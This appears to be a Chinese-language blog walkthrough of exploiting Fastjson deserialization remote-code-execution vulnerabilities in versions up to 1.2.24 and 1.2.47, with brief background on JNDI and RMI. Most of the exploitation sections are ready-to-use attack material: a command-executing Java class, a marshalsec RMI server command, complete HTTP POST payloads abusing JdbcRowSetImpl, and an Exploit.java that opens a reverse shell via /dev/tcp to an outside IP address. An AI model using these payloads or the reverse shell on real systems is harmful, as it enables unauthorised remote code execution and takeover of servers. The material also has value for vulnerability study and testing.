Fastjson

fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿里开发的一款专门用于Java开发的包,可以方便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。

JNDI

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一。JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。

JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种:

DNS、LDAP、CORBA对象服务、RMI

Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

漏洞原理

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

漏洞分析

fastjson 远程反序列化poc的构造和分析

利用过程

1、确定目标站点使用fastjson版本<=1.2.24

2、创建TouchFile.java文件,内容如下:

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
 
public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/success"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。在文件目录下,通过python3 -m http.server port命令开设服务器。(通过浏览器访问,进行验证)

4、借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999

5、在漏洞页面bp抓包后post提交数据,替换如下payload:

POST / HTTP/1.1
Host: 靶机ip:端口
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/TouchFile",
        "autoCommit":true
    }
}

利用完成

Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)

漏洞原理

fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

漏洞分析

Fastjson <=1.2.47 远程代码执行漏洞分析

利用过程

1、确定目标站点使用fastjson版本<=1.2.47

2、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。

public class Exploit {
    public Exploit(){
        try{
            Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/98.126.219.155/58274 0>&1");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        Exploit e = new Exploit();
    }
}

3、4同Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )

5、开启nc监听端口4444:nc -lvvp 4444(反弹shell)

6、在漏洞页面bp抓包后post提交数据,替换如下payload:

POST / HTTP/1.1
Host: xx.xx.xx.xx:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
 
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://xx.xx.xx.xx:9999/Exploit",
        "autoCommit":true
    }
}

Fstjson < 1.2.60 远程拒绝服务漏洞

fastjson低于1.2.60的远程拒绝服务漏洞

FastJson渗透总结

1、反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。

2、RMI是一种行为,指的是Java远程方法调用。

3、JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。

4、ldap指轻量级目录服务协议

参考链接

Fastjson远程命令执行漏洞总结

Fastjson系列漏洞实战和总结

Fastjson <=1.2.62 远程代码执行-漏洞复现

上一篇
下一篇